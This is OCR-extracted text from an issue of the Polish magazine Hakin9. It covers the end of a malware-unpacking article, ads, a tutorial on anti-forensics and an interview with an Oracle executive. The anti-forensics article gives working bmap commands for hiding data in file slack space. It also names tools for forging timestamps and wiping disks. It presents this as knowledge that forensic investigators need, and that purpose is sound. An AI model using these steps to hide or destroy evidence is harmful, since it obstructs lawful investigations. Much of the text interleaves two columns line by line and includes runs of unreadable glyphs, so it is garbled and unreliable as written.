formatu. Niemniej każda metoda
SECTION HEADER #1
pakowania ma słaby punkt, którego nie
.text name może wyeliminować – kod programu
7748 virtual size
w pewnym momencie MUSI zostać
1000 virtual address (01001000 to 01008747) rozpakowany, aby mógł być uruchomiony.
7800 size of raw data Tego właśnie momentu wyszukuje
każdy, kto zajmuje się analizą binarną
400 file pointer to raw data (00000400 to 00007BFF)
malware'u, a jego znalezienie jest tylko
0 file pointer to relocation table
kwestią czasu.
0 file pointer to line numbers
0 number of relocations

0 number of line numbers 0x0baddaed


Autor jest niezależnym badaczem. Główne
60000020 flags zainteresowania to inżynieria wsteczna, wyszukiwanie
Code błędów w oprogramowaniu Close- i OpenSource, analiza
Execute Read malware'u, niestandardowe techniki przełamywania i
obchodzenia zabezpieczeń.
Kontakt z autorem: 0x0baddaed@gmail.com

68 HAKIN9 4/2009
Prenumerata Pro
CCNS Media Systems
Działalność firmy skoncentrowana jest Firma Media Systems oferuje Państwu
wokół hasła zapewnienia pełnego bez- usługi oparte o rozwiązania systemu
pieczeństwa funkcjonowania Klienta CashBill.pl i są to: organizacja kam-
w realiach współczesnej gospodarki. panii marketingowych opartych o kon-
Jako Expert Partner firmy WatchGuard kursy SMS’owe, organizacja kampanii
Inc. oferujemy kompleksowe rozwiąza- reklamowych serwisów internetowych,
nia bezpieczeństwa sieci i systemów system płatności elektronicznych po-
informatycznych obejmujące nowo- przez karty płatnicze i przelewy. Prócz
czesne urządzenia typu Unified Thre- wymienionych usług oferujemy także
at Management, niezawodny serwis budowę stron www, sprzedaż domen
www.ccns.pl i szeroki wachlarz szkoleń. oraz pozycjonowanie w wyszukiwar-
kach. Zapraszamy do współpracy.

TTS Company Sp. z o.o.


Sprzedaż i dystrybucja oprogramowania
komputerowego. Import programów na
zamówienie. Ponad 200 producentów w kontakt do nas:
standardowej ofercie. katarzyna.juszczynska@software.com.pl,
Chcesz kupić oprogramowanie i nie mo- tel.: 22 427 36 77
żesz znaleźć polskiego dostawcy?
Skontaktuj się z nami - sprowadzimy na-
www.OprogramowanieKomputerowe.pl wet pojedyncze licencje.

Sokra-NET
Działa od roku 2002, specjalizuje się
w szeroko pojętym bezpieczeństwie in-
formacji. Posiada wykwalifikowany spe-
cjalnie do tych celów zespół inżynierów
którzy przy współpracy z naszymi klien-
tami maksymalizują bezpieczeństwo
danych, audytując i dobezpieczając.
Wykonujemy testy penetracyjne, ana-
lizy kodów źródłowych, testy wydajno-
ściowe aplikacji i ich środowisk telein-
formatycznych. Wdrażamy polityki bez-
pieczeństwa. Wspomagamy naszych
www.sokra.net partnerów merytorycznie.

Kei.pl
Kei.pl działa na rynku usług hostingo-
wych od 2000 roku. Do naszych za-
dowolonych Klientów z dumą możemy
zaliczyć wiele przedsiębiorstw sektora
MSP, instytucji oraz osób prywatnych.
W ofercie Kei.pl znajdują się pakiety ho-
stingowe, a także usługi dla wymagają-
cych Użytkowników – platformy e-Biz-
www.kei.pl nes oraz serwery fizyczne.
PRAKTYKA
GRZEGORZ BŁOŃSKI

Zakłócanie
śledztwa
Stopień trudności
elektronicznego
Anti-forensics – działania mające na celu utrudnienie zdobycia
dowodów elektronicznych, wpływanie na ilość oraz jakość
tych dowodów, skompromitowanie osoby prowadzącej analizę
dowodów cyfrowych. Tak w dużym uogólnieniu może brzmieć
definicja tego tajemniczego zwrotu.

W
warunkach naszego kraju niezbyt Można wyodrębnić dwa podstawowe rodzaje
dynamicznie rozwija się informatyka działań mających na celu utrudnienie prowadzenia
śledcza jednak metody pozwalające na śledztwa elektronicznego – zakłócanie danych oraz
utrudnianie prowadzenia takiego śledztwa są znane zakłócanie narzędzi. Ponieważ dane elektroniczne są
także naszym rodakom.Przeciwdziałanie wykrywaniu podatne na modyfikację, jednocześnie są narażone
nielegalnych działań wykonywanych przy użyciu na wiele działań związanych z manipulacjami.
systemów komputerowych jest tak stare, jak same Jednym z działań wykorzystywanych w zakłócaniu
systemy komputerowe i – co bardziej niepokojące danych jest szyfrowanie. Zaszyfrowany plik, katalog,
– związane z nim techniki rozwijają się cały czas. partycja czy nawet cały dysk są zaporą nie do
W bardzo wielu przypadkach podczas śledztw przebycia dla śledczego analizującego materiał
elektronicznych okazuje się, że część dowodów jest dowodowy. Innymi działaniami używanymi do
niezdatna do użytku lub wręcz nie daje się podczas zakłócania jest ukrywanie danych w przeróżnych
analizowania materiału dowodowego wyizolować obszarach czy to pamięci masowych, czy nawet
konkretnych elementów mogących definitywnie pamięci operacyjnej. Przykładem może być
stanowić niepodważalny dowód konkretnego ukrywanie danych w obszarach systemu plików NTFS
działania naruszającego prawo. Informatyka śledcza, zwanych ADS (ang. Alternate Data Stream). Kolejnym
a więc także specjaliści zajmujący się analizą przykładem techniki ukrywania danych może być
materiału dowodowego, zmuszeni są niejako do zapisywanie informacji w uszkodzonych sektorach
pogłębiania swojej wiedzy nie tylko na temat technik czy niezapisanym obszarze sektorów na dysku (tzw.
odnajdywania dowodów, ale także sposobów, na slack space) . Innymi interesującymi miejscami, w
jakie dowody są ukrywane czy niszczone. Pragnąc których chowane są dane w celu ukrycia ich przed
wykonać rzetelnie działania analityczne podczas śledztwem elektronicznym, są ukryte partycje, takie
prowadzenia śledztwa informatycznego, warto jak na przykład HPA (ang. Host Protected Area)
Z ARTYKUŁU wiedzieć, jakimi metodami posługują się ludzie z – obszar dysku używany przez producentów do
DOWIESZ SIĘ
przeciwnej strony barykady. przechowywania danych serwisowych.
o technikach anti-forensics,
W celu ukrywania danych powstały nawet
o narzędziach anti-forensics.
Techniki działań anti-forensics specjalne systemy plików, pozwalające na łatwiejsze
CO POWINIENEŚ Dawniej skuteczną metodą na usunięcie śladów wykonywanie operacji ukrywania:
WIEDZIEĆ po dokonaniu na przykład włamania na serwer
znać podstawy pracy w było usunięcie z logów systemowych informacji • Data Mule FS – potrafi ukrywać dane w
systemach Windows i Linux, mogących ten fakt ujawnić, dziś tego typu środek obszarach zarezerwowanych dla przechowywania
znać budowę systemów plików. jest mało skuteczny. informacji o i-węzłach (ang. i-node),

70 HAKIN9 4/2009
ANTI-FORENSICS

• Waffen FS – dzięki temu systemowi plików Warto wspomnieć także o metodzie usuniętych danych. Wśród narzędzi na licencji
możemy wykorzystać plik journalingu pozwalającej na zmianę zawartości pliku przy GPL podobnym działaniem charakteryzują się
systemu plików EXT3 do ukrycia danych, jednoczesnym zachowaniu wygenerowanego między innymi Srm, Wipe, Fwipe, Overwrite czy
• Rune FS – bardzo ciekawy system plików, dla tego pliku hasha MD5, manipulacji Grind. W skład pakietu Metasploit wchodzą
który potrafi zapisywać dane w obszarach rozszerzeniami plików, a także tak zwanym trzy narzędzia będące bardzo często
dysku udających uszkodzone sektory. magic number, który także może być wykorzystywane do działań antiforensic:
zmieniany.
Osobom interesującym się steganografią • timestamp wspomniany wcześniej
zapewne znany jest także system plików Programy • slacker – pozwala na zagospodarowanie
StegFS, dzięki któremu także możemy Osoby wykorzystujące narzędzia anti- przestrzeni slack space do
ukrywać dane. Nie można pominąć forensics zwykle mają coś do ukrycia, lecz przechowywania danych
takich technik, jak wykorzystywanie niekoniecznie muszą być cyberprzestępcami. • transmogrify – pozwala na zmianę
niezaalokowanego miejsca na dysku W celu ukrywania danych wykorzystywane sygnatury pliku.
twardym czy steganografia, polegająca na są różnego rodzaju programy do szyfrowania
ukrywaniu informacji w plikach graficznych. całych dysków, partycji, katalogów i plików. Ciekawostką jest narzędzie DBAN (Darik's
Zakłócanie narzędzi to druga z Ukrywanie danych to jednak tylko jeden Boot And Nuke), dyskietka zawierająca
wymienionych technik utrudniania aspekt działań anti-forensics. Innym dość oprogramowanie wykrywające dyski w
przeprowadzania śledztwa elektronicznego. ważnym zagadnieniem jest kasowanie komputerze i kasująca całą ich zawartość.
W działaniach zakłócających dane celem danych przed ich przechwyceniem. Na tym Wymienione narzędzia nie wyczerpują
było spowodowanie, aby informacja stała polu istnieje dość dużo mniej lub bardziej listy wszystkich które są dostępne w sieci. Z
się nieczytelna, ukryta czy wręcz usunięta z znanych narzędzi. Przykładem może być dnia na dzień powstaje wiele nowych narzędzi
pamięci. W przypadku zakłócania narzędzi Evidence Eliminator – komercyjne narzędzie które czasami przez przypadek stają się
dążymy do wprowadzenia w błąd osoby pozwalające między innymi na niszczenie narzędziami antiforensics.
poszukującej śladów elektronicznych. pliku wymiany systemu Windows, plików
Jedną z wykorzystywanych metod tymczasowych, logów systemowych, ADS, Jak to się robi?
jest zmiana znacznika czasowego pliku historii przeglądarek i całej masy innych Aby choć trochę przybliżyć Czytelnikom
(ang. timestamp) w systemach Windows informacji, których brak znacznie utrudni jedną z metod anti-forensics, spróbuję
wykorzystujących NTFS jako system plików. poszukiwanie dowodów. Programów o opisać ukrywanie danych w przestrzeniach
Narzędzia używane przez śledczych podobnym działaniu jest więcej. Wśród slack space. Na początek może kilka
pozwalają na odczytanie takich informacji komercyjnych narzędzi należy wymienić słów o tej przestrzeni – jak i dlaczego ona
o pliku, jak czas jego utworzenia, ostatniej takie jak: Steganos Security Suite, Tracks powstaje? Jak ogólnie wiadomo, klaster/blok
modyfikacji oraz ostatniego otwarcia pliku. Eraser Pro, Diskzapper, BCWipe, przy (ang. cluster/block) to najmniejsza ilość
Przykładem narzędzia pozwalającego na których pomocy usuniemy zawartość miejsca przeznaczona na przechowanie
zmianę tych informacji jest timestomp.exe. poszczególnych plików i katalogów, pojedynczego pliku. W systemach Windows
Plik ze zmienionymi informacjami o czasie całych partycji lub dysków metodami rozmiar klastra jest zależny od wielkości
jego utworzenia może w prosty sposób niepozwalającymi na późniejsze odtworzenie dysku twardego, bez względu na to, czy
spowodować pominięcie go podczas
analizowania materiału dowodowego,
ponieważ zmodyfikowana data utworzenia
pliku nie pasuje do okresu, w jakim mogło
zostać popełnione przestępstwo. Taka
sytuacja może doprowadzić do znacznego
utrudnienia pracy śledczego.
Rysunek 1. Zrzut ekranu – wynik wykonania polecenia bmap
Kolejna technika pozwalająca
zakłócać dane zbierane w trakcie śledztwa
informatycznego to wykorzystanie funkcji
systemu plików NTFS nazwanej ADS
– Alternate Data Streams. Te alternatywne
strumienie danych pozwalają na ukrycie
dowolnych danych w pliku czy katalogu. Rysunek 2. Wprowadzone wartości numerów telefonów do ukrycia
Mimo tego, iż większość narzędzi forensics
jest w stanie bez problemu wykrywać
strumienie ADS, jest to metoda pozwalająca
na wydłużenie czasu potrzebnego na
analizę danych, co w znacznym stopniu
utrudnia śledztwo. Rysunek 3. Odczyt zawartości slack space

4/2009 HAKIN9 71
PRAKTYKA
systemem plików jest któraś z odmian FAT, Duża ilość tak powstałego miejsca , katalogu /test znajduje się plik o nazwie
czy NTFS. W systemach Linux standardowa niewykorzystanego do przechowywania crontab. Wyświetlamy zawartość pliku, aby
wielkość klastra to cztery kilobajty (można ją plików daje dużo możliwości działań sprawdzić, co w nim jest i czy coś się zmieni
oczywiście zmienić). antiforensic mających na celu ukrycie jakiejś na późniejszym etapie naszych działań.
Jak powstaje slackspace pozwoli ilości danych. Skoro już wiemy skąd się bierze Używamy do tego celu polecenia cat:
zrozumieć Rysunek 5, na którym widać niezaalokowana przestrzeń slackspace ,
proces powstawania przestrzeni slackspace. znamy przyczyny jej powstawania możemy #cat /test/crontab
Plik A zajmuje dwa sektory, załóżmy, że nasz zająć się próbą wykorzystania jej do
system plików posiada klastry/sektory o zapisania naszych tajnych danych. Zawartość pliku widoczna jest na zrzucie
wielkości 4 kilobajtów. Z rysunku wynika, że Przed przystąpieniem do ukrywania ekranu. Sprawdzamy rozmiar naszego
nasz plik posiada rozmiar 8 kilobajtów gdyż danych w przestrzeniach slack space pliku i obecność przestrzeni slack space
wypełnia dwa sektory. Po skasowaniu pliku musimy wyposażyć nasz system w poleceniem:
A zostaje zwolnione miejsce. Plik B , który program pozwalający na dokonywanie
zostaje zapisany w miejsce skasowanego jest takiego rodzaju działań. Dostępne są dwa #bmap -mode slack /test/crontab
mniejszy , więc zajmuje cały sektor 1 i część narzędzia, przedstawię tutaj przykład, w który
sektora 2. Powstała wolna część sektora 2 to wykorzystuję program bmap, pozwalający Na Rysunku 1 widać, że program zwrócił
właśnie slack space. Obszary takie powodują na manipulowanie zawartością slack nam informacje o rozmiarze pliku, rozmiarze
postępujący proces fragmentacji systemu space w pojedynczym pliku. Załóżmy, że slack space oraz rozmiarze bloku/klastra, a
plików. Jakie są skutki dużej fragmentacji korzystamy z systemu Linux wyposażonego także o numerze klastra, w którym zapisany
systemu plików wiedzą wszyscy, którzy dysk z partycjami systemu plików ext3, w jest nasz plik. Do dyspozycji mamy 3761
korzystali z narzędzi do defragmentacji. którym wielkość klastra to właśnie 4kB. W bajtów, w których możemy zapisać cokolwiek
– i na pewno nie będzie to widoczne dla
przeciętnego użytkownika komputera (z
pewnością utrudni także odnalezienie tych
danych osobie ich szukającej). Załóżmy,
że mamy kilka numerów telefonów, których
nie chcemy z pewnych względów nikomu
ujawniać. Wykonujemy polecenie:

#bmap -mode putslack /test/crontab

Program wyświetla to, co wcześniej i czeka


na wprowadzenie dodatkowych danych.
Wpisujemy więc kilka numerów oraz imion
Rysunek 4. Uruchomiony DBAN (Rysunek 2). Zatwierdzamy wprowadzone
��������
��������
��������
��������
dane wciśnięciem klawisza [ENTER]. Dla
�������� �������� pewności powtarzamy polecenie:
������ ������
������ ������
������ ������ #cat /test/crontab
�����������������������������������������
�����������������������������������������
����������������������������������������� i potwierdzamy, iż zawartość pliku nie uległa
zmianie (czego właśnie oczekiwaliśmy). W tym
�������� �������� momencie, wykonując polecenie:
�������� ��������
�������� ��������
������ ������ #bmap -mode slack /test/crontab
������ ������
������ ������
������������������������������������������
������������������������������������������ sprawdzamy zawartość naszej przestrzeni
�����������������������������
�����������������������������
������������������������������������������ slack space w klastrze zajmowanym przez
����������������������������� nasz plik. Wynik widoczny na ekranie (Rysunek
�������� �������� ��������
�������� 3) ukazuje naszym oczom wpisane przed
�������� �������� ����������
�������� ��������
����������
�������� chwilą numery oraz imiona, które mają
������ ������ ����������
������ pozostać ukryte. Rozmiar pliku oraz rozmiar
������ ������ ������
������ ������
obszaru slack space także nie uległy zmianie.
������
���������������������������������������������������� W takiej sytuacji jedynie osoby znające
����������������������������������������������������
tego typu narzędzia oraz umiejące się
����������������������������������������������������
Rysunek 5. Proces powstawania Slackspace nimi posługiwać są w stanie odczytać tak

72 HAKIN9 4/2009
ANTI-FORENSICS

ukryte dane. Osiągnęliśmy więc zamierzony DBAN – Darik’s Boot And Nuke. Program przez Gutmana jest uznawana za bardzo
przez nas cel. Należy jednak pamiętać, że działający z dyskietki lub płyty CD. bezpieczną metodę kasowania danych ,
tak – nazwijmy to – ukryte dane są mimo Ze strony autora można pobrać zarówno okupiona jest 35 przebiegami procesu ,
wszystko dostępne przy użyciu odpowiednich obraz płyty CD jak i instalatora, który tworzy co jest czasochłonne.
technik odczytu. dyskietkę bootowalną. Po uruchomieniu • PRNG Stream – metoda wykorzystująca
Chciałbym w tym miejscu dodać, że komputera z płyty CD na ekranie zobaczymy generator liczb pseudolosowych do
opisana metoda jest okupiona pewnego ekran podobny do tego na Rysunku 4. zapisywania strumieniami , uznawana za
rodzaju ograniczeniem. Ilość danych Do wyboru mamy kilka opcji bardzo bezpieczną przy wykorzystaniu co
możliwych do ukrycia w obszarze slack space najmniej ośmiu przebiegów .
jest różnicą wielkości klastra/bloku (czyli 4096 • F2 pomoc • Verify – weryfikacja pracy programu to
bajtów) i rozmiaru zapisanego w danym • F3 krotka lista poleceń kolejny parametr na który mamy wpływ.
klastrze pliku (lub jego ostatniego kawałka). • F4 rozwiązywanie problemów Możemy ją całkowicie wyłączyć , włączyć
Upraszczając, jeśli plik crontab miałby 2048 • ENTER start aplikacji w trybie weryfikację ostatniego przebiegu lub
bajtów, to ilość miejsca do wykorzystania interaktywnym weryfikować każdy z przebiegów.
ograniczyłaby się do 2048 bajtów. • autonuke – start aplikacje w trybie
A co w przypadku, gdy chcielibyśmy automatycznym. Ostatnim parametrem ważnym podczas
ukryć większą ilość danych, na przykład kasowania danych jest wybór ilości
100 megabajtów? W takiej sytuacji możemy Po wybraniu trybu interaktywnego widzimy przebiegów pracy programu. Ich ilość
skorzystać z programu slacker. ekran pozwalający na wybranie pewnych jest zależna od wcześniej wybranych
Narzędzie to umożliwia wykorzystanie ustawień pracy programu kasującego dane. innych parametrów. Po wybraniu dysku
przestrzeni slack space w całej strukturze Możemy wybrać jeden z dwóch generatorów na którym mamy zamiar przeprowadzić
katalogu – a więc przy założeniu, że w liczb pseudolosowych Mersenne Twister operację kasowania wciskamy klawisz
katalogu zapisanych jest bardzo wiele plików oraz ISAAC. Kolejny parametr na który mamy F10 aby rozpocząć proces. Po czasie
o rozmiarze mniejszym niż rozmiar klastra, wpływ jest metoda kasowania danych. ściśle uzależnionym od rozmiaru
możemy mieć do dyspozycji bardzo duże Tutaj do wyboru jest kilka opcji z różnymi dysku oraz ustawionych parametrów
obszary slack space. Niestety, wykorzystanie poziomami bezpieczeństwa iróżną ilością programu naszym oczom ukaże się ekran
obszarów slack space jest możliwe tylko przy przebiegów kasowania. zakończenia pracy programu.
założeniu, iż zawartość plików tworzących te
przestrzenie nie będzie się zmieniała. Każda • quick erase – ta metoda zapisuje na Podsumowanie
modyfikacja zawartości pliku (na przykład dysk zera , wykonuje to podczas jednego Rozwiązania technologiczne wykorzystywane
jego powiększanie się przez dopisywanie przebiegu , metoda nieprzydatna do w informatyce śledczej są ciągle
danych) powoduje zwiększenie się obszaru działań antiforensics , dane są możliwe udoskonalane, a narzędzia analizy stają się
zajmowanego w klastrze, co jednocześnie do odzyskania. coraz wygodniejsze w użyciu. Nie zwalnia
redukuje rozmiar slack space i tym samym • RCMP TSSIT OPS-II – Royal Canadian to jednak osoby prowadzącej śledztwo
może spowodować uszkodzenie ukrytych Mounted Police Technical Security elektroniczne z dokładnego analizowania
tam danych (po prostu je nadpisując). Standard for Information Technology , materiału dowodowego, gdyż – jak widać
Mimo tych wad, ukrywanie danych w slack standard wykorzystywany w kanadyjskiej – metody ukrywania danych (czy też
space jest skuteczne i potrafi spowodować policji , dość skuteczny w kasowaniu niszczenia ich, tak aby nie mogły stać się
wydłużenie czasu analizy danych, a więc jest danych dowodami na niezgodne z prawem działania)
w stanie zakłócić prowadzenie śledztwa. • DoD Short – skrócona wersja DoD 5220 , także stają się coraz bardziej efektywne.
Inna z metod antiforensic , dość często amerykańskiego standardu o skuteczności Wzrost liczby przestępstw popełnionych z
wykorzystywana przez wielu domowych kasowania zbliżonej do RCMP wykorzystaniem systemów informatycznych
użytkowników komputerów to usuwanie • DoD 5220.22-M – pełna wersja jest już zauważalny dość mocno nawet
danych w taki sposób aby nie dało się ich amerykańskiego standardu, w realiach naszego kraju. Musimy mieć
odzyskać. Programów pozwalających na • Gutman Wipe – metoda opracowana nadzieję, że informatyka śledcza i specjaliści
wykonanie takiej operacji jest dość sporo , computer forensics będą w stanie sprostać
do najbardziej znanych należą wymienione zadaniom odnajdywania śladów – nawet tych
wcześniej , ale można do nich dodać W Sieci dobrze ukrytych z wykorzystaniem technik
chociażby sławne narzędzia M.H.D.D. anti-forensics.
• http://www.evidence-eliminator.com/
czy Victoria które w zasadzie są bardziej
product.d2w, Grzegorz Błoński
narzędziami do diagnostyki dysków • http://www.dban.org, Autor, Grzegorz Błoński, z wykształcenia jest informatykiem,
twardych ale posiadają także wbudowane • http://users.ox.ac.uk/~kebl2949/grind, certyfikowanym specjalistą IBM. Pracuje w dużej firmie
o zasięgu światowym. Zajmuje się administracją
polecenia pozwalające na kasowanie • http://www.kyuzz.org/antirez/ oraz bezpieczeństwem sieciowym. Należy do
zawartości dysku. overwrite.html, międzynarodowych organizacji ISOC oraz ISACA,
• http://srm.sourceforge.net , zajmujących się szeroko pojętym bezpieczeństwem IT.
Chciałbym jednak przedstawić tutaj Jest członkiem Digital Forensics Association.
• http://www.forensicfocus.com.
także wcześniej wspomniany program Kontakt z autorem: mancymonek@mancymonek.pl

4/2009 HAKIN9 73
WYWIAD

Nowe trendy
w bezpieczeństwie
Wywiad z Jackiem Brinsonem – dyrektorem Oracle odpowiedzialnym za produkty
związane z zapewnianiem bezpieczeństwa informacji składowanych w bazach danych.

J
ack jest weteranem w obszarze Masking i wiele innych. Co więcej, firma Edwards Enterprise One. Więcej informacji
bezpieczeństwa baz danych. Przez Oracle dokonała akwizycji dużej liczby na temat nowych poprawek można znaleźć
wiele lat pracował na różnych przedsiębiorstw i produktów z obszaru w opublikowanej dokumentacji.
stanowiskach w działach konsultingu, zarządzania tożsamością. Mamy zamiar Zachęcamy również naszych klientów
sprzedaży, rozwoju programowania i kontynuować działania oparte na do odwiedzenia stron internetowych z
zarządzania produktami. Jego zakres nowatorskich rozwiązaniach i projektach w najnowszymi informacjami na temat
obowiązków obejmował strategiczne dziedzinie bezpieczeństwa. łatek. Różnorodne informacje techniczne
planowanie produktów, rozwój Gorąco zachęcamy wszystkich klientów można znaleźć w takich serwisach
oprogramowania, marketing i zarządzanie do jak najszybszej instalacji dostępnych internetowych, jak centrum zabezpieczeń
produktami związanymi z bezpieczeństwem na rynku poprawek. Od lipca 2008 Security Technology Center, dostępne
baz danych Oracle. Jack dysponuje rozległą roku przygotowaliśmy dwie aktualizacje na stronie Oracle Technology Network
wiedzą i doświadczeniem w zakresie programów korygujących o znaczeniu (OTN). Strona ta zawiera rozbudowane
planowania, strategii, wdrażania i tworzenia krytycznym. Najnowsza aktualizacja została repozytorium z takimi zasobami, jak
rozwiązań zapewniających bezpieczeństwo udostępniona 13 stycznia 2009 i eliminuje dokumentacja opisująca produkty,
infrastruktury informatycznej. Współpracował 41 luk w zabezpieczeniach, wykrytych listy kontrolne i poradniki związane z
z wieloma firmami doradczymi i ostatnio w kilku liniach produktów, między zabezpieczeniami, artykuły przeglądowe
integratorami systemów. innymi: Oracle Database Server, Oracle i komunikaty dotyczące aktualnych
Times Ten, Oracle Secure Backup, Oracle programów korygujących o znaczeniu
Firma Oracle dokonała znaczącego Enterprise Manager, Oracle Application krytycznym i ostrzeżeń o zagrożeniach
postępu w zakresie bezpieczeństwa, Server, Oracle Collaboration Suite, Oracle bezpieczeństwa. Dodatkowe informacje na
jednak w dalszym ciągu proste E-Business Suite, Oracle PeopleSoft temat zabezpieczeń, na przykład notatki
programistyczne błędy sprawiają, Enterprise, Oracle JD Edwards Enterprise techniczne, można znaleźć w bazie wiedzy
że oprogramowanie bazodanowe One oraz Oracle WebLogic. Oracle MetaLink.
Waszej firmy nie jest wolne Aktualizacja programów korygujących
od błędów. Czy po lipcowych o znaczeniu krytycznym z dnia 13 stycznia Z uwagi na fakt posiadania przez
poprawkach użytkownicy produktów 2009 eliminuje również inne luki w firmę Oracle wielu wersji swojej
Oracle mogą spać spokojnie? zabezpieczeniach produktów takich jak: bazy, jak również szeregu różnych
Rzeczywiście, dokonaliśmy znaczącego Oracle E-Business Suite, Oracle Times aplikacji bazodanowych, nasuwa
postępu w tej dziedzinie. W ciągu ostatnich Ten, Oracle Enterprise Manager, Oracle się pytanie, czy każda z nich jest tak
lat wprowadziliśmy na rynek wiele nowych Application Server, Oracle Collaboration samo bezpieczna?
technologii, takich jak Oracle Database Suite, Oracle E-Business Suite, Oracle Celem Oracle jest zapewnienie
Vault, Oracle Audit Vault, Oracle Data PeopleSoft Enterprise oraz Oracle JD bezpieczeństwa całego wachlarza

74 HAKIN9 4/2009
WYWIAD Z JACKIEM BRINSONEM

produktów Oracle, od technologii, poprzez i wszędzie żmudnie analizować logi Czy cenne są dla Państwa uwagi
aplikacje, aż do oprogramowania warstwy użytkowników. Dzięki wspomnianemu firmy prowadzonej przez Alexandra
pośredniej. produktowi jesteśmy w stanie ściągnąć Kornbrusta – mowa o Red Database
Przykładowo, rozwiązanie Oracle logi z baz danych Oracle, DB2, Sybase i Security – która specjalizuje się w
Database Vault uzyskało certyfikat SQL Server do centralnego repozytorium zakresie bezpieczeństwa produktów
zgodności z pakietem Oracle E-Business – swego rodzaju „hurtowni audytorskiej” – i Oracle?
Suite. Jest to dobr y przykład ilustrujący ustalić, jakie czynności wykonał użytkownik Bez komentarza.
sposób, w jaki technologie i koncepcje we wszystkich bazach.
związane z zabezpieczeniami, takimi Jednocześnie, dzięki składowaniu Jak, Pańskim zdaniem, powinniśmy
jak Database Vault, są cały czas tych danych w oddzielnej lokalizacji, zabezpieczyć nasze aplikacje przed
integrowane z istniejącymi produktami polepszamy ich ochronę. Możemy atakiem typu Lateral SQL Injection?
Oracle w ramach technologii i aplikacji ściągnąć je z serwerów produkcyjnych, Przygotowaliśmy kilka technicznych
Oracle. To również dowód na to, że do których ma dostęp wielu użytkowników artykułów przeglądowych na ten temat.
zespoły programistów (w dziale aplikacji – w centralnym repozytorium nikt Nie da się nie zauważyć, że ataki tego
i dziale technologii Oracle) współpracują postronny nie będzie nimi manipulował. typu wywołują duże zainteresowanie i
ze sobą w celu osiągnięcia wspólnych Audit Vault zapewnia możliwość obawy. Przygotowane przez Oracle artykuły
celów. konsolidowania rekordów podlegających obalają mity związane z tym tematem
Za pomocą produktu Oracle audytowi, generowania raportów w celu i wyjaśniają w przejrzysty sposób, jak
Database Vault klienci korzystający spełnienia określonych wymogów i norm napisać kod PL/SQL, który zagwarantuje
z pakietu E-Business Suite regulacyjnych, takich jak Sarbanes-Oxley. skuteczną ochronę przed atakami typu
mogą zabezpieczyć dane przed Mamy do dyspozycji wszystkie narzędzia SQL injection. Artykuły można łatwo znaleźć
nieautoryzowanym dostępem w ramach umożliwiające konfigurację odpowiednich na stronie www.oracle.com.
bazy danych Oracle. Użytkownicy mogą polityk, dzięki którym Audit Vault
zastosować zasadę separacji obowiązków poinformuje administratora w przypadku Z jakimi rodzajami zagrożeń
na poziomie bazy danych Oracle. zajścia jakiejś niepożądanej czynności najczęściej spotyka się Pan w
Dzięki temu mają pewność, że nawet – np. gdy pracownik przegląda rekordy pracy? Czy zanotowano próby
administrator bazy danych, ani żaden inny bazy danych. zaatakowania Państwa firmy?
uprawniony użytkownik, nie będzie mieć Na to pytanie trudno mi odpowiedzieć,
dostępu do wrażliwych danych aplikacji W jaki sposób zabezpieczony jest ponieważ zajmuję się produktami
E-Business Suite. Rozwiązanie to pozwala transfer logów do Oracle Audit Vault Oracle jako takimi. Nie jestem członkiem
również zabezpieczyć się przed celowymi i jak sprawdzić ich integralność? naszej grupy bezpośrednio związanej z
lub przypadkowymi modyfikacjami bazy To bardzo dobre pytanie. Odpowiedź bezpieczeństwem informatycznym, nie
danych, które mogą spowodować utratę jest taka, że tę kwestię rozwiązaliśmy jestem też zaangażowany w codzienne
danych aplikacji E-Business Suite. Co naprawdę solidnie – wykorzystujemy operacje naszego departamentu
więcej, produkt Database Vault zapewnia tu pewne już istniejące technologie bezpieczeństwa.
ochronę przed dostępem ad hoc do bezpieczeństwa Oracle. Oracle Audit
danych pakietu E-Business Suite, na Vault wykorzystuje przodujące w Jak firma ocenia pismo hakin9 jako
podstawie zaawansowanych reguł i wielu branży zabezpieczenia, dostępne w medium dotarcia do speców od
czynników, takich jak adres IP, godzina i produktach Oracle Database Vault i bezpieczeństwa?
typ aplikacji. Oracle Advanced Security. Zapewniają Widziałem wiele wzmianek o tym
one ochronę danych audytowych od magazynie podczas moich poszukiwań
Czy może Pan przybliżyć naszym momentu ich zebrania, przesłania, informacji na różne tematy. Już jego nazwa
Czytelnikom produkt Oracle Audit konsolidacji i umieszczenia w mówi bardzo dużo...
Vault? scentralizowanym, zabezpieczonym
Oczywiście. Ten produkt funkcjonuje na repozytorium danych audytowych. Jest także podtytuł: Jak się obronić...
rynku od około dwóch lat. Rozwiązuje Korzystamy z pakietu Advanced Podtytuł Jak się obronić to sedno całego
on problem, który jest wyjątkowo ważny. Security Options (ASO), szyfrując ruch ze problemu. Świadomość poziomu
Przez wiele lat firmy nie miały możliwości źródła bazodanowego oraz przepływający zabezpieczeń, wykształcenie i wiedza to
kompleksowej analizy działalności przez sieć do Audit Vault. Pakiet Advanced kluczowe czynniki, które są niezwykle istotne
poszczególnych użytkowników baz danych Security może być wykorzystywany do z punktu widzenia samoobrony przed
w przekroju całego przedsiębiorstwa. ochrony integralności przesyłanych zagrożeniami. Tu chciałbym przekazać
Jeśli trzeba było uzyskać taką informację, rekordów audytowych. Co więcej, w samym informacje o trendach, jakie zauważam.
należało podejść do wszystkich Oracle Audit Vault także zaszyliśmy nasze Jeden z nich, który występuje na
kilkunastu, kilkudziesięciu czy nawet technologie Oracle Database Vault w całym świecie, polega na tym, że klienci
kilkuset stanowisk z zainstalowanym celu ochrony danych przechowywanych w obarczani są różnego rodzaju wymogami,
oprogramowaniem bazodanowym repozytorium. specyfikacjami zgodności, takimi jak

4/2009 HAKIN9 75
WYWIAD
Sarbanes-Oxley, PCI-DSS, jak również finansowej firmy. Chodzi zatem o to, by bezpieczeństwem – z całego świata, od
politykami prywatności, zagrożeniami nasz administrator ds. bezpieczeństwa Azji przez Amerykę do Europy – dzielą
wewnętrznymi, itp. W rezultacie spoglądają zablokował lub poważnie utrudnił taki się swoimi najlepszymi praktykami oraz
oni na firmy takie jak Oracle, aby te nieautoryzowany dostęp – np. aby pomysłami. Są także odpowiednie listy
pomogły im stawić czoła tym wyzwaniom uzyskanie dostępu do podobnego rodzaju mailingowe, organizujemy konferencje
i dostarczyły rozwiązania spełniające danych musiało być autoryzowane przez internetowe transmitowane na cały świat,
te wymogi. A wyzwania stają się coraz dwóch użytkowników. Mówiąc prościej, przekazując informacje od rynku do rynku.
trudniejsze. Naszym zadaniem jest zatem rola administratora ds. bezpieczeństwa Taki mechanizm zapewnia skuteczne
przygotowanie dla nich większej liczby danych polega na wdrażaniu narzędzi dzielenie się wspólnymi praktykami,
